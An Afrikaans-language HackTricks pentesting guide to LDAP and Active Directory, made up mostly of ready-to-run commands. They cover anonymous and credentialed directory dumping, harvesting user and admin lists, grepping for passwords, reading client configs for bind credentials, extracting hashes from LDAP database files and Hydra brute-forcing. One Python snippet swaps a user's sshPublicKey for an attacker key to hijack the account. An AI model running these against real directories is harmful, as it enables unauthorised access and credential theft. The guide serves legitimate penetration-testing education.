389, 636, 3268, 3269 - Pentesting LDAP

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Die gebruik van LDAP (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en hulpbronne soos lêers en toestelle binne netwerke, sowel publiek as privaat. Dit bied ’n meer gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur ’n kleiner kodevoetspoor te hê.

LDAP-direktore is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat ’n gerepliseerde en gesinchroniseerde weergawe van die gids huisves, verwys na as ’n Directory System Agent (DSA). Die verantwoordelikheid om versoeke te hanteer lê ten volle by die LDAP-bediener, wat met ander DSAs kan kommunikeer soos nodig om ’n samehangende reaksie aan die versoeker te lewer.

Die organisasie van die LDAP-gids lyk soos ’n boomhiërargie, beginnende met die root directory bo-aan. Dit tak uit na lande, wat verder verdeel in organisasies, en daarna in organisatoriese eenhede wat verskeie afdelings of departemente verteenwoordig, uiteindelik tot by die individuele entiteitvlak, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers.

Verstekpoort: 389 en 636 (ldaps). Global Catalog (LDAP in ActiveDirectory) is beskikbaar standaard op poorte 3268 en 3269 vir LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as ’n stel rekords. Dit kan ook opdateringsversoeke verteenwoordig (Add, Modify, Delete, Rename).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Lynne 1-3 definieer die topvlakdomein local
  • Lynne 5-8 definieer die eerste vlakdomein moneycorp (moneycorp.local)
  • Lynne 10-16 definieer 2 organisasie-eenhede: dev en sales
  • Lynne 18-26 skep ’n objekt van die domein en ken attribuute met waardes toe

Skryf data

Let daarop dat as jy waardes kan wysig, jy baie interessante aksies kan uitvoer. Byvoorbeeld, stel jou voor dat jy die “sshPublicKey” inligting kan verander van jou gebruiker of enige gebruiker. Dit is hoogs waarskynlik dat as hierdie attribuut bestaan, dan ssh die publieke sleutels uit LDAP lees. As jy die publieke sleutel van ’n gebruiker kan wysig, sal jy as daardie gebruiker kan aanmeld selfs al is wagwoordverifikasie in ssh nie aangeskakel nie

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Linux kliëntkant LDAP-artefakte

Op Linux-gasheerrekenaars wat met LDAP/AD geïntegreer is, woon waardevolle geheime dikwels in die kliëntkonfigurasie, nie net op die LDAP-bediener self nie.

Algemene lêers:

ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null
sed -n '1,120p' /etc/nslcd.conf 2>/dev/null

Hoë-waarde sleutels:

  • ldap_uri en ldap_search_base: waar en wat om te soek
  • ldap_default_bind_dn en ldap_default_authtok: herbruikbare bind-aanmeldbewyse
  • id_provider / auth_provider: gee aan of SSSD LDAP, Kerberos, of albei gebruik

Nuttige opvolg:

grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null

ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"

What to look for:

  • vir almal leesbare sssd.conf / nslcd.conf
  • cleartext bind credentials
  • directory-backed SSH or sudo integrasies wat ’n leesbare config in werklike authz-impak omskakel

Sniff clear text credentials

As LDAP sonder SSL gebruik word, kan jy sniff credentials in plain text in die netwerk.

Jy kan ook ’n MITM attack in die netwerk uitvoer tussen die LDAP server en die client. Hier kan jy ’n Downgrade Attack uitvoer sodat die client die credentials in clear text gebruik om aan te meld.

As SSL gebruik word kan jy probeer om ’n MITM soos hierbo genoem te doen, maar deur ’n false certificate aan te bied; as die user dit aanvaar, kan jy die authentication method downgrade en die credentials weer sien.

Anonieme toegang

Bypass TLS SNI check

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds laat onauthentiseerde aanvallers toe om inligting vanaf die domein te onttrek, soos ’n volledige lys van gebruikers, groepe, rekenaars, attribuutte van gebruikersrekeninge, en die domeinwagwoordbeleid. Dit is ’n verouderde konfigurasie, en sedert Windows Server 2003 mag slegs geauthentiseerde gebruikers LDAP-versoeke inisieer.\ Admins mag egter ’n bepaalde toepassing moes opstel om anonymous binds toe te laat en het dalk meer toegang toegestaan as wat bedoel was, waardeur onauthentiseerde gebruikers toegang tot alle objekte in AD verkry.

Anonymous LDAP enumeration with NetExec (null bind)

If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Nuttige filters:

  • (objectClass=*) om objekte onder ’n base DN te inventariseer
  • (sAMAccountName=*) om user principals te oes

Voorbeelde:

# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

Waar om na te soek:

  • sAMAccountName, userPrincipalName
  • memberOf en OU-plasing om targeted sprays te beperk
  • pwdLastSet (tydpatrone), userAccountControl vlagte (disabled, smartcard required, ens.)

Nota: As anonymous bind nie toegelaat word nie, sal jy gewoonlik ’n Operations error sien wat aandui dat ’n bind vereis word.

Geldige kredensiale

As jy geldige kredensiale het om by die LDAP-server aan te meld, kan jy alle inligting oor die Domain Admin dump met behulp van:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumeration

Outomaties

Deur dit te gebruik sal jy die openbare inligting (soos die domeinnaam):

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Sien LDAP enumeration met python

Jy kan probeer om enumerate ’n LDAP met of sonder credentials met python: pip3 install ldap3

Probeer eers om sonder credentials te verbind:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

As die antwoord True is soos in die vorige voorbeeld, kan jy sekere interessante data van die LDAP-bediener (soos die naming context of domain name) bekom uit:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Sodra jy die naming context het, kan jy ’n paar meer opwindende queries maak. Hierdie eenvoudige query behoort al die objects in die directory te wys:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Of dump die hele ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch is ’n Python-skrip wat nuttig is om gebruikers, groepe en rekenaars in ’n Windows-domein te opsom deur LDAP-vrae te gebruik.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Kontroleer null credentials of bepaal of jou credentials geldig is:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

As jy iets sien wat sê dat die “bind must be completed” beteken dat die credentials verkeerd is.

Jy kan alles uit ’n domein onttrek deur:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Onttrek gebruikers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Haal rekenaars uit:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal my inligting uit:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Domain Admins uit:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Domain Users uit:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Onttrek Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Administrators uit:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Onttrek Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Om te sien of jy toegang tot enige wagwoord het, kan jy grep gebruik nadat jy een van die navrae uitgevoer het:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Neem asseblief kennis dat die wagwoorde wat jy hier kan vind moontlik nie die ware is nie…

pbis

Jy kan pbis hier aflaai: https://github.com/BeyondTrust/pbis-open/ en dit is gewoonlik geïnstalleer in /opt/pbis.
Pbis maak dit maklik om basiese inligting te kry:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Grafiese Koppelvlak

Apache Directory

Download Apache Directory from here. Jy kan ’n example of how to use this tool here vind.

jxplorer

Jy kan ’n grafiese koppelvlak met LDAP server van hier aflaai: http://www.jxplorer.org/downloads/users.html

Standaard word dit geïnstalleer in: /opt/jxplorer

Godap

Godap is ’n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekte en attribuute in AD en ander LDAP-servers te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, tesame met verskeie ander gespesialiseerde funksies soos soek/maak/verander/verwyder van objekte, byvoeg/verwyder van gebruikers uit groepe, verander van wagwoorde, wysig van objek regte (DACLs), wysig van Active-Directory Integrated DNS (ADIDNS), uitvoer na JSON-lêers, ens.

Jy kan dit vind by https://github.com/Macmod/godap. Vir gebruiksvoorbeelde en instruksies lees die Wiki.

Ldapx

Ldapx is ’n buigsame LDAP-proxy wat gebruik kan word om LDAP-verkeer van ander gereedskap te inspekteer en te transformeer. Dit kan gebruik word om LDAP-verkeer te obfuskateer om te probeer om identity protection & LDAP monitoring tools te omseil en implementeer die meeste van die metodes wat in die MaLDAPtive praatjie voorgehou is.

Jy kan dit kry by https://github.com/Macmod/ldapx.

Verifikasie via kerberos

Deur ldapsearch te gebruik kan jy verifieer teen kerberos in plaas van via NTLM deur die parameter -Y GSSAPI te gebruik

POST

As jy toegang kan kry tot die lêers waar die databasisse gehou word (kan in /var/lib/ldap wees). Jy kan die hashes uittrek met die volgende:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Jy kan john met die wagwoord-hash voed (van ‘{SSHA}’ tot ‘structural’ sonder om ‘structural’ by te voeg).

Konfigurasielêers

  • Algemeen
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks Outomatiese Kommando’s

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks